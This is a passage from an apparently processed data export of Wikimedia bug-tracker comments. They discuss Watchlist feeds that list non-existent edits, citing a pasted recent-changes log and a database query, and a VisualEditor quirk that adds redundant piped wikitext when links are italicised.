(diff | hist) . . Crestar Bank‎; 01:23:42 . . (0)‎ . . ‎173.71.136.155 (talk)‎
(diff | hist) . . Template:Did you know nominations/Russian submarine K-18 Karelia‎; 01:23:40 . . (+350)‎ . . ‎Daniel Case (talk | contribs)‎ (dull hook) [rollback]
(diff | hist) . . Aubrey Plaza‎; 01:23:40 . . (+46)‎ . . ‎Captain Assassin! (talk | contribs)‎ (Life After Beth) [rollback]
(diff | hist) . . WVQS-LD‎; 01:23:39 . . (-1)‎ . . ‎142.255.235.18 (talk)‎ [rollback]
(User creation log); 01:23:39 . . User account Reginawong71 (talk | contribs) was created ‎
(diff | hist) . . Wikipedia:Categories for discussion/Log/2013 July 9‎; 01:23:38 . . (+312)‎ . . ‎DexDor (talk | contribs)‎ (→‎Category:Modern surface-to-air missiles: cmt) [rollback]
(diff | hist) . . Richard Lee McNair‎; 01:23:37 . . (0)‎ . . ‎Download (talk | contribs)‎ (→‎Attempts to avoid recapture: caps)
(diff | hist) . . Wikipedia:WikiProject Motorcycling/Popular pages‎; 01:23:36 . . (+2)‎ . . ‎Mr.Z-bot (talk | contribs)‎ (Popularity stats for WikiProject Motorcycling) [rollback]
(diff | hist) . . User:Aghaz Tech Systems‎; 01:23:35 . . (+16)‎ . . ‎I am One of Many (talk | contribs)‎ (Requesting speedy deletion (CSD G11). (TW)) [rollback]
(diff | hist) . . Akkineni Nageswara Rao‎; 01:23:34 . . (-12)‎ . . ‎DMacks (talk | contribs)‎ (MOS) [rollback]
(diff | hist) . . Prince William, Duke of Cambridge‎; 01:23:33 . . (+400)‎ . . ‎71.167.157.25 (talk)‎ (→‎Royal duties: tidies) [rollback]
(diff | hist) . . User talk:Praghadeshkar‎; 01:23:32 . . (+1,977)‎ . . ‎DGG (talk | contribs)‎ (Notification: speedy deletion nomination of Wikipedia talk:Articles for creation/TPRG KANGAROO BRAND. (TW])) [rollback]
(diff | hist) . . N! Wikipedia:Articles for creation/RJ Sridharan‎; 01:23:32 . . (+5,171)‎ . . ‎Anandhi1212 (talk | contribs)‎ (←Created page with ''''RJ Sridharan''' Rajendram Jagannathan Sridharan, affectionately addressed as Com RJS by the Indian banking fraternity was born on April 9th, 1949. He was bor...')
(diff | hist) . . Seoul Metropolitan Police Agency‎; 01:23:30 . . (+95)‎ . . ‎Howard61313 (talk | contribs)‎ [rollback]
(diff | hist) . . Wikipedia talk:Articles for creation/TPRG KANGAROO BRAND‎; 01:23:30 . . (+12)‎ . . ‎DGG (talk | contribs)‎ (Requesting speedy deletion (CSD G11). (TW])) [rollback]
(diff | hist) . . Gabrielle Union‎; 01:23:29 . . (-3)‎ . . ‎Monkelese (talk | contribs)‎ [rollback]
(diff | hist) . . Kashmere Stage Band‎; 01:23:28 . . (-57)‎ . . ‎107.196.30.182 (talk)‎ (→‎History) [rollback]
(Article Feedback Activity Log); 01:23:28 . . 122.178.233.254 (talk) submitted feedback post #050027e... on Dhanush ‎(i am happy to be a fan of dhanush)
(diff | hist) . . Fahadh Faasil‎; 01:23:28 . . (+103)‎ . . ‎92.97.8.139 (talk)‎ (→‎Filmography)
(diff | hist) . . m Waldemar Klingelhöfer‎; 01:23:24 . . (-1)‎ . . ‎Robert4565 (talk | contribs)‎ (Tag: VisualEditor) [rollback]
(diff | hist) . . m Maiden's Tower‎; 01:23:23 . . (+3)‎ . . ‎Thewolfchild (talk | contribs)‎ (→‎Legend) [rollback]
(diff | hist) . . Ball State University‎; 01:23:23 . . (-276)‎ . . ‎184.17.231.231 (talk)‎ (removed Points of interest section → all places are listed in Ball State navigation box and/or are mentioned throughout the article) (Tag: section blanking) [rollback]
(diff | hist) . . m Adas Israel Congregation (Washington, D.C.)‎; 01:23:21 . . (+37)‎ . . ‎Bizzurp (talk | contribs)‎ (Category:Conservative synagogues) [rollback]
(diff | hist) . . Wikipedia:WikiProject Arthropods/Popular pages‎; 01:23:21 . . (+12)‎ . . ‎Mr.Z-bot (talk | contribs)‎ (Popularity stats for WikiProject Arthropods) [rollback]
(diff | hist) . . Animethon‎; 01:23:19 . . (-103)‎ . . ‎Ceasol (talk | contribs)‎ (Animethon has become largest Anime Convention with an attendance in 2012 of 6404 against Anime Revolution with 5233) (Tag: VisualEditor) [rollback]
(diff | hist) . . Talk:Sex at Dawn‎; 01:23:17 . . (+245)‎ . . ‎NorthBySouthBaranof (talk | contribs)‎ (→‎Removal of Ellsworth's ""Sex at Dusk"" review)
(diff | hist) . . N! User:MOTOI Kenkichi/北乃カムイ‎; 01:23:17 . . (+5,636)‎ . . ‎MOTOI Kenkichi (talk | contribs)‎ (翻訳用テンプレ)
(diff | hist) . . m William Fulton (urban planner)‎; 01:23:16 . . (+4)‎ . . ‎Billfulton00 (talk | contribs)‎ (Tag: VisualEditor) [rollback]
(Protection log); 01:23:16 . . Prolog (talk | contribs) protected Patient Protection and Affordable Care Act‎ ‎[edit=autoconfirmed] (expires 05:23, 30 July 2013 (UTC)) ‎[move=autoconfirmed] (expires 05:23, 30 July 2013 (UTC)) ‎(Persistent sock puppetry)
(diff | hist) . . Barbro Eriksdotter (Bielke)‎; 01:23:14 . . (+32)‎ . . ‎Aciram (talk | contribs)‎ (→‎Sources) [rollback]
(diff | hist) . . Ohio State Route 357‎; 01:23:14 . . (+94)‎ . . ‎CycloneIsaac (talk | contribs)‎ (→‎References: separate) [rollback]
(diff | hist) . . Gwangju FC‎; 01:23:12 . . (+69)‎ . . ‎Z4617925 (talk | contribs)‎ (→‎Current squad) [rollback]
(diff | hist) . . N Talk:Lavender Country‎; 01:23:12 . . (+419)‎ . . ‎Bearcat (talk | contribs)‎ (←Created page with '{{Old AfD|Lavender Country|delete}} ==Prior AFD== Please note that this version of the article is significantly expanded, and its sourcing significant...')
(diff | hist) . . Argentine legislative election, 2013‎; 01:23:12 . . (-59)‎ . . ‎186.61.49.196 (talk)‎
(diff | hist) . . Brian Nieves‎; 01:23:08 . . (+14)‎ . . ‎PaulinSaudi (talk | contribs)‎ (fix many capitals) [rollback]
(diff | hist) . . SeaWorld Entertainment‎; 01:23:07 . . (+17)‎ . . ‎67.238.188.192 (talk)‎ (Tag: VisualEditor) [rollback]
(diff | hist) . . British Expedition to Abyssinia‎; 01:23:05 . . (+7)‎ . . ‎Reenem (talk | contribs)‎ (→‎The campaign) [rollback]
(User creation log); 01:23:04 . . User account Rblak87 (talk | contribs) was created ‎
(diff | hist) . . Arunachal Pradesh‎; 01:23:04 . . (-1,141)‎ . . ‎BijoyChakrabarty (talk | contribs)‎ (Undid revision 565431133 by Qwyrxian (talk) Hindi is not official language in Arunachal pradesh, it's English. Official Gov cite provided) [rollback]
(diff | hist) . . Wikipedia:WikiProject Solar System/Popular pages‎; 01:23:03 . . (-17)‎ . . ‎Mr.Z-bot (talk | contribs)‎ (Popularity stats for WikiProject Solar System) [rollback]
(diff | hist) . . Wikipedia:Huggle/Users‎; 01:23:03 . . (+38)‎ . . ‎Czar (talk | contribs)‎ (Adding czar (HG)) [rollback]
(User creation log); 01:23:01 . . User account Huskers3155 (talk | contribs) was created ‎
(diff | hist) . . m Southern Cross All-Stars‎; 01:23:01 . . (+31)‎ . . ‎Loudestpenguin (talk | contribs)‎ (Tag: VisualEditor)
(diff | hist) . . Talk:List of tallest buildings in Christchurch‎; 01:23:00 . . (+282)‎ . . ‎Grutness (talk | contribs)‎ (→‎Minimum height)",,,1374557457,,PHID-USER-34ciubbmtvmsgh53t6hb,False,,,PHID-TASK-rl6e4brnawmfpf74jcdj,task_subcomment,,True,c1,3,False,,,3,,0.23809523809523808,0.0,0.0,0.38095238095238093,0.047619047619047616,1.8095238095238095,0.19047619047619047,0.0,0.0,0.0,0.2857142857142857,0.38095238095238093,0.0,0.0,0.0,0.14285714285714285,0.09523809523809523,2.380952380952381,2.6666666666666665,0.0,0.09523809523809523,0.0,0.0,0.0,0.7619047619047619,0.047619047619047616,0.0,0.0,0.0,0.0,0.047619047619047616,1.2380952380952381,0.19047619047619047,0.14285714285714285,0.3333333333333333,0.047619047619047616,0.0,0.0,0.2857142857142857,0.09523809523809523,0.0,0.047619047619047616,0.0,1.5714285714285714,0.0,0.047619047619047616,0.0,0.047619047619047616,0.09523809523809523,11.142857142857142,0.0,0.047619047619047616,0.0,0.047619047619047616,0.0,0.0,0.0,0.047619047619047616,0.14285714285714285,0.0,0.0,0.047619047619047616,0.0,0.0,0.0,0.047619047619047616,0.0,0.38095238095238093,0.6666666666666666,14.571428571428571,0.09523809523809523,0.2857142857142857,0.5238095238095238,0.0,0.0,0.19047619047619047,0.047619047619047616,2.142857142857143,0.8571428571428571,3.3333333333333335,0.0,0.47619047619047616,2.6666666666666665,20.952380952380953,0.0,0.38095238095238093,0.0,0.47619047619047616,0.0,0.09523809523809523,0.19047619047619047,0.0,0.3333333333333333,0.0,0.09523809523809523,3.2857142857142856,3.5083213083213085,0.5095767195767196,"For what it's worth, I just caught a live one showing up in my Special:Watchlist Atom feed and then checked against Special:RecentChanges on en.wp:

At 1:23, my watchlist claims that User:Andreasmperu edited Superman (The Clique song).

Here is a copy-and-paste from every edit that happened from 1:23:00 to 1:23:59:

(diff | hist) . . Begusarai district‎; 01:23:59 . . (+19)‎ . . ‎101.62.52.201 (talk)‎ (→‎Education)
(diff | hist) . . Wikipedia:WikiProject Guild of Copy Editors/Backlog elimination drives/July 2013‎; 01:23:58 . . (+59)‎ . . ‎JudyCS (talk | contribs)‎ (→‎JudyCS (talk): updated totals)
(diff | hist) . . Kojak‎; 01:23:57 . . (+14)‎ . . ‎71.180.138.175 (talk)‎ (→‎Plot) [rollback]
(diff | hist) . . N User:TinyURLDotComSlashMb4tstl‎; 01:23:55 . . (+27)‎ . . ‎Prolog (talk | contribs)‎ (blockedsock)
(diff | hist) . . N! User:Djdubay/sandbox/Userbox/Project‎; 01:23:53 . . (+802)‎ . . ‎Djdubay (talk | contribs)‎ (Creating new sandbox subpage.)
(diff | hist) . . Wikipedia:WikiProject Military history/Fortifications task force/Popular pages‎; 01:23:52 . . (-30)‎ . . ‎Mr.Z-bot (talk | contribs)‎ (Popularity stats for WikiProject Military history/Fortifications task force) [rollback]
(diff | hist) . . User:DGG/CSD log‎; 01:23:51 . . (+166)‎ . . ‎DGG (talk | contribs)‎ (Logging speedy deletion nomination of Wikipedia talk:Articles for creation/TPRG KANGAROO BRAND. (TW])) [rollback]
(diff | hist) . . Margareta Huitfeldt‎; 01:23:49 . . (+66)‎ . . ‎Aciram (talk | contribs)‎ (→‎References) [rollback]
(diff | hist) . . m Stella Women’s Academy, High School Division Class C3‎; 01:23:47 . . (+20)‎ . . ‎Xezbeth (talk | contribs)‎ (Disambiguated: Rambo → Rambo (film series)) [rollback]
(diff | hist) . . N. T. Rama Rao Jr.‎; 01:23:47 . . (-12)‎ . . ‎117.241.0.199 (talk)‎ (→‎As actor) [rollback]
(User creation log); 01:23:45 . . User account Thundercatmd (talk | contribs) was created ‎
(diff | hist) . . Sadabad, India‎; 01:23:45 . . (+77)‎ . . ‎117.243.196.54 (talk)‎ (→‎Education) [rollback]
(diff | hist) . . Crestar Bank‎; 01:23:42 . . (0)‎ . . ‎173.71.136.155 (talk)‎
(diff | hist) . . Template:Did you know nominations/Russian submarine K-18 Karelia‎; 01:23:40 . . (+350)‎ . . ‎Daniel Case (talk | contribs)‎ (dull hook) [rollback]
(diff | hist) . . Aubrey Plaza‎; 01:23:40 . . (+46)‎ . . ‎Captain Assassin! (talk | contribs)‎ (Life After Beth) [rollback]
(diff | hist) . . WVQS-LD‎; 01:23:39 . . (-1)‎ . . ‎142.255.235.18 (talk)‎ [rollback]
(User creation log); 01:23:39 . . User account Reginawong71 (talk | contribs) was created ‎
(diff | hist) . . Wikipedia:Categories for discussion/Log/2013 July 9‎; 01:23:38 . . (+312)‎ . . ‎DexDor (talk | contribs)‎ (→‎Category:Modern surface-to-air missiles: cmt) [rollback]
(diff | hist) . . Richard Lee McNair‎; 01:23:37 . . (0)‎ . . ‎Download (talk | contribs)‎ (→‎Attempts to avoid recapture: caps)
(diff | hist) . . Wikipedia:WikiProject Motorcycling/Popular pages‎; 01:23:36 . . (+2)‎ . . ‎Mr.Z-bot (talk | contribs)‎ (Popularity stats for WikiProject Motorcycling) [rollback]
(diff | hist) . . User:Aghaz Tech Systems‎; 01:23:35 . . (+16)‎ . . ‎I am One of Many (talk | contribs)‎ (Requesting speedy deletion (CSD G11). (TW)) [rollback]
(diff | hist) . . Akkineni Nageswara Rao‎; 01:23:34 . . (-12)‎ . . ‎DMacks (talk | contribs)‎ (MOS) [rollback]
(diff | hist) . . Prince William, Duke of Cambridge‎; 01:23:33 . . (+400)‎ . . ‎71.167.157.25 (talk)‎ (→‎Royal duties: tidies) [rollback]
(diff | hist) . . User talk:Praghadeshkar‎; 01:23:32 . . (+1,977)‎ . . ‎DGG (talk | contribs)‎ (Notification: speedy deletion nomination of Wikipedia talk:Articles for creation/TPRG KANGAROO BRAND. (TW])) [rollback]
(diff | hist) . . N! Wikipedia:Articles for creation/RJ Sridharan‎; 01:23:32 . . (+5,171)‎ . . ‎Anandhi1212 (talk | contribs)‎ (←Created page with ''''RJ Sridharan''' Rajendram Jagannathan Sridharan, affectionately addressed as Com RJS by the Indian banking fraternity was born on April 9th, 1949. He was bor...')
(diff | hist) . . Seoul Metropolitan Police Agency‎; 01:23:30 . . (+95)‎ . . ‎Howard61313 (talk | contribs)‎ [rollback]
(diff | hist) . . Wikipedia talk:Articles for creation/TPRG KANGAROO BRAND‎; 01:23:30 . . (+12)‎ . . ‎DGG (talk | contribs)‎ (Requesting speedy deletion (CSD G11). (TW])) [rollback]
(diff | hist) . . Gabrielle Union‎; 01:23:29 . . (-3)‎ . . ‎Monkelese (talk | contribs)‎ [rollback]
(diff | hist) . . Kashmere Stage Band‎; 01:23:28 . . (-57)‎ . . ‎107.196.30.182 (talk)‎ (→‎History) [rollback]
(Article Feedback Activity Log); 01:23:28 . . 122.178.233.254 (talk) submitted feedback post #050027e... on Dhanush ‎(i am happy to be a fan of dhanush)
(diff | hist) . . Fahadh Faasil‎; 01:23:28 . . (+103)‎ . . ‎92.97.8.139 (talk)‎ (→‎Filmography)
(diff | hist) . . m Waldemar Klingelhöfer‎; 01:23:24 . . (-1)‎ . . ‎Robert4565 (talk | contribs)‎ (Tag: VisualEditor) [rollback]
(diff | hist) . . m Maiden's Tower‎; 01:23:23 . . (+3)‎ . . ‎Thewolfchild (talk | contribs)‎ (→‎Legend) [rollback]
(diff | hist) . . Ball State University‎; 01:23:23 . . (-276)‎ . . ‎184.17.231.231 (talk)‎ (removed Points of interest section → all places are listed in Ball State navigation box and/or are mentioned throughout the article) (Tag: section blanking) [rollback]
(diff | hist) . . m Adas Israel Congregation (Washington, D.C.)‎; 01:23:21 . . (+37)‎ . . ‎Bizzurp (talk | contribs)‎ (Category:Conservative synagogues) [rollback]
(diff | hist) . . Wikipedia:WikiProject Arthropods/Popular pages‎; 01:23:21 . . (+12)‎ . . ‎Mr.Z-bot (talk | contribs)‎ (Popularity stats for WikiProject Arthropods) [rollback]
(diff | hist) . . Animethon‎; 01:23:19 . . (-103)‎ . . ‎Ceasol (talk | contribs)‎ (Animethon has become largest Anime Convention with an attendance in 2012 of 6404 against Anime Revolution with 5233) (Tag: VisualEditor) [rollback]
(diff | hist) . . Talk:Sex at Dawn‎; 01:23:17 . . (+245)‎ . . ‎NorthBySouthBaranof (talk | contribs)‎ (→‎Removal of Ellsworth's ""Sex at Dusk"" review)
(diff | hist) . . N! User:MOTOI Kenkichi/北乃カムイ‎; 01:23:17 . . (+5,636)‎ . . ‎MOTOI Kenkichi (talk | contribs)‎ (翻訳用テンプレ)
(diff | hist) . . m William Fulton (urban planner)‎; 01:23:16 . . (+4)‎ . . ‎Billfulton00 (talk | contribs)‎ (Tag: VisualEditor) [rollback]
(Protection log); 01:23:16 . . Prolog (talk | contribs) protected Patient Protection and Affordable Care Act‎ ‎[edit=autoconfirmed] (expires 05:23, 30 July 2013 (UTC)) ‎[move=autoconfirmed] (expires 05:23, 30 July 2013 (UTC)) ‎(Persistent sock puppetry)
(diff | hist) . . Barbro Eriksdotter (Bielke)‎; 01:23:14 . . (+32)‎ . . ‎Aciram (talk | contribs)‎ (→‎Sources) [rollback]
(diff | hist) . . Ohio State Route 357‎; 01:23:14 . . (+94)‎ . . ‎CycloneIsaac (talk | contribs)‎ (→‎References: separate) [rollback]
(diff | hist) . . Gwangju FC‎; 01:23:12 . . (+69)‎ . . ‎Z4617925 (talk | contribs)‎ (→‎Current squad) [rollback]
(diff | hist) . . N Talk:Lavender Country‎; 01:23:12 . . (+419)‎ . . ‎Bearcat (talk | contribs)‎ (←Created page with '{{Old AfD|Lavender Country|delete}} ==Prior AFD== Please note that this version of the article is significantly expanded, and its sourcing significant...')
(diff | hist) . . Argentine legislative election, 2013‎; 01:23:12 . . (-59)‎ . . ‎186.61.49.196 (talk)‎
(diff | hist) . . Brian Nieves‎; 01:23:08 . . (+14)‎ . . ‎PaulinSaudi (talk | contribs)‎ (fix many capitals) [rollback]
(diff | hist) . . SeaWorld Entertainment‎; 01:23:07 . . (+17)‎ . . ‎67.238.188.192 (talk)‎ (Tag: VisualEditor) [rollback]
(diff | hist) . . British Expedition to Abyssinia‎; 01:23:05 . . (+7)‎ . . ‎Reenem (talk | contribs)‎ (→‎The campaign) [rollback]
(User creation log); 01:23:04 . . User account Rblak87 (talk | contribs) was created ‎
(diff | hist) . . Arunachal Pradesh‎; 01:23:04 . . (-1,141)‎ . . ‎BijoyChakrabarty (talk | contribs)‎ (Undid revision 565431133 by Qwyrxian (talk) Hindi is not official language in Arunachal pradesh, it's English. Official Gov cite provided) [rollback]
(diff | hist) . . Wikipedia:WikiProject Solar System/Popular pages‎; 01:23:03 . . (-17)‎ . . ‎Mr.Z-bot (talk | contribs)‎ (Popularity stats for WikiProject Solar System) [rollback]
(diff | hist) . . Wikipedia:Huggle/Users‎; 01:23:03 . . (+38)‎ . . ‎Czar (talk | contribs)‎ (Adding czar (HG)) [rollback]
(User creation log); 01:23:01 . . User account Huskers3155 (talk | contribs) was created ‎
(diff | hist) . . m Southern Cross All-Stars‎; 01:23:01 . . (+31)‎ . . ‎Loudestpenguin (talk | contribs)‎ (Tag: VisualEditor)
(diff | hist) . . Talk:List of tallest buildings in Christchurch‎; 01:23:00 . . (+282)‎ . . ‎Grutness (talk | contribs)‎ (→‎Minimum height)"
247591,Syndicated feeds of Watchlists include non-existent edits,"Recent changes for this article (according to toolserver.org):

mysql> select * from recentchanges where rc_namespace = 0 and rc_title = 'Everything_That_Happens_Will_Happen_Today' order by rc_id desc limit 2 \G
*************************** 1. row ***************************
        rc_id: 590682778
 rc_timestamp: 20130715213627
  rc_cur_time: 20130715213627
      rc_user: 0
 rc_user_text: FelGru
 rc_namespace: 0
     rc_title: Everything_That_Happens_Will_Happen_Today
   rc_comment: 
     rc_minor: 1
       rc_bot: 0
       rc_new: 0
    rc_cur_id: 18622850
rc_this_oldid: 562841657
rc_last_oldid: 562841657
      rc_type: 5
 rc_patrolled: 1
   rc_old_len: 131636
   rc_new_len: 131636
   rc_deleted: 0
     rc_logid: 0
  rc_log_type: NULL
rc_log_action: 
        rc_ip: 
    rc_params: a:1:{s:20:""wikibase-repo-change"";a:13:{s:2:""id"";i:56980275;s:4:""type"";s:20:""wikibase-item~update"";s:4:""time"";s:14:""20130715213627"";s:9:""object_id"";s:5:""q6336"";s:7:""user_id"";i:180688;s:11:""revision_id"";i:58328008;s:11:""entity_type"";s:4:""item"";s:9:""user_text"";s:6:""FelGru"";s:3:""bot"";i:0;s:7:""page_id"";i:7449;s:6:""rev_id"";i:58328008;s:9:""parent_id"";i:58327906;s:7:""comment"";s:23:""wikibase-comment-update"";}}
*************************** 2. row ***************************
        rc_id: 588688216
 rc_timestamp: 20130704145433
  rc_cur_time: 20130704145433
      rc_user: 205121
 rc_user_text: Koavf
 rc_namespace: 0
     rc_title: Everything_That_Happens_Will_Happen_Today
   rc_comment: fmt
     rc_minor: 1
       rc_bot: 0
       rc_new: 0
    rc_cur_id: 18622850
rc_this_oldid: 562841657
rc_last_oldid: 562815320
      rc_type: 0
 rc_patrolled: 0
   rc_old_len: 131440
   rc_new_len: 131636
   rc_deleted: 0
     rc_logid: 0
  rc_log_type: NULL
rc_log_action: 
        rc_ip: 
    rc_params:",,,1373960032,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-rl6e4brnawmfpf74jcdj,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.25,1.0,0.0,0.0,0.0,0.0,0.0,0.75,0.0,0.0,0.0,0.0,0.0,0.0,0.75,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.75,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,2.0,0.25,0.25,0.25,0.0,0.0,0.0,0.0,0.5,0.0,10.75,0.0,0.0,1.0,6.25,0.0,0.75,0.0,0.0,0.0,0.25,0.0,0.0,0.25,0.0,0.0,0.5,4.846590909090909,0.4289772727272727,"Recent changes for this article (according to toolserver.org):

mysql> select * from recentchanges where rc_namespace = 0 and rc_title = 'Everything_That_Happens_Will_Happen_Today' order by rc_id desc limit 2 \G
*************************** 1. row ***************************
        rc_id: 590682778
 rc_timestamp: 20130715213627
  rc_cur_time: 20130715213627
      rc_user: 0
 rc_user_text: FelGru
 rc_namespace: 0
     rc_title: Everything_That_Happens_Will_Happen_Today
   rc_comment: 
     rc_minor: 1
       rc_bot: 0
       rc_new: 0
    rc_cur_id: 18622850
rc_this_oldid: 562841657
rc_last_oldid: 562841657
      rc_type: 5
 rc_patrolled: 1
   rc_old_len: 131636
   rc_new_len: 131636
   rc_deleted: 0
     rc_logid: 0
  rc_log_type: NULL
rc_log_action: 
        rc_ip: 
    rc_params: a:1:{s:20:""wikibase-repo-change"";a:13:{s:2:""id"";i:56980275;s:4:""type"";s:20:""wikibase-item~update"";s:4:""time"";s:14:""20130715213627"";s:9:""object_id"";s:5:""q6336"";s:7:""user_id"";i:180688;s:11:""revision_id"";i:58328008;s:11:""entity_type"";s:4:""item"";s:9:""user_text"";s:6:""FelGru"";s:3:""bot"";i:0;s:7:""page_id"";i:7449;s:6:""rev_id"";i:58328008;s:9:""parent_id"";i:58327906;s:7:""comment"";s:23:""wikibase-comment-update"";}}
*************************** 2. row ***************************
        rc_id: 588688216
 rc_timestamp: 20130704145433
  rc_cur_time: 20130704145433
      rc_user: 205121
 rc_user_text: Koavf
 rc_namespace: 0
     rc_title: Everything_That_Happens_Will_Happen_Today
   rc_comment: fmt
     rc_minor: 1
       rc_bot: 0
       rc_new: 0
    rc_cur_id: 18622850
rc_this_oldid: 562841657
rc_last_oldid: 562815320
      rc_type: 0
 rc_patrolled: 0
   rc_old_len: 131440
   rc_new_len: 131636
   rc_deleted: 0
     rc_logid: 0
  rc_log_type: NULL
rc_log_action: 
        rc_ip: 
    rc_params:"
247586,Syndicated feeds of Watchlists include non-existent edits,"Also, checking https://en.wikipedia.org/wiki/Special:Watchlist does not display these non-existent edits nor does the page history of the individual articles and categories mentioned.",,,1373959528,,PHID-USER-34ciubbmtvmsgh53t6hb,False,,,PHID-TASK-rl6e4brnawmfpf74jcdj,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.76,0.92,"Also, checking URL does not display these non-existent edits nor does the page history of the individual articles and categories mentioned."
53422,Adding formatting to wiki link formats text not link,"See http://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_(technical)&oldid=564459649#Italicizing_wikilinks

When someone italicizes (or bolds) a wiki link instead of placing quote marks around the link itself (like ''[[link]]'' ) it pipes a link with the same text but with quotes (for example [[link|''link'']] ) creating unneeded wikitext.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373950620,1377278955.0,PHID-USER-f6l3bchko2ogbi4poj24,False,,False,PHID-TASK-nkmn6tlxg6fzvqjixjiw,task_description,resolved,True,c1,3,False,False,True,2,,0.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,1.0,3.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,3.0,1.0,3.0,0.0,0.0,5.0,3.68,0.6266666666666667,"See URL

When someone italicizes (or bolds) a wiki link instead of placing quote marks around the link itself (like ''[[link]]'' ) it pipes a link with the same text but with quotes (for example [[link|''link'']] ) creating unneeded wikitext.

--------------------------
**Version**: unspecified
**Severity**: normal"
247312,Adding formatting to wiki link formats text not link,"This is the same as bug 50098, yes; merging.

(In reply to comment #1)
> It has been noted today that VE still has issues with large pages, so it
> really
> shouldn't be adding unnecessary bytes to a page like this.

The length of a page's wikitext has no direct impact on VisualEditor's performance; it's the length and complexity of the HTML that's in question. In this case, the HTML is identical, so this has no performance impact.

*** This bug has been marked as a duplicate of bug 50098 ***",,,1377278955,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nkmn6tlxg6fzvqjixjiw,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,1.0,0.0,3.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,20.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,3.0,12.0,0.0,2.0,14.0,0.0,0.0,0.0,1.0,1.0,1.0,3.0,0.0,1.0,11.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,3.369565217391304,0.5652173913043478,"This is the same as bug 50098, yes; merging.

(In reply to comment #1)
QUOTE
QUOTE
QUOTE

The length of a page's wikitext has no direct impact on VisualEditor's performance; it's the length and complexity of the HTML that's in question. In this case, the HTML is identical, so this has no performance impact.

*** This bug has been marked as a duplicate of bug 50098 ***"
247304,Adding formatting to wiki link formats text not link,"As I wrote in 50098, to avoid [[Foo|''Bar'']] you should italicize first, and link only after
that. I added this to the Italian User guide and I am looking for other similar tips I might be missing.
Thanks.",,,1377248899,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-nkmn6tlxg6fzvqjixjiw,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,8.0,0.0,4.0,12.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,18.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,10.0,12.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,3.42,0.78,"As I wrote in 50098, to avoid [[Foo|''Bar'']] you should italicize first, and link only after
that. I added this to the Italian User guide and I am looking for other similar tips I might be missing.
Thanks."
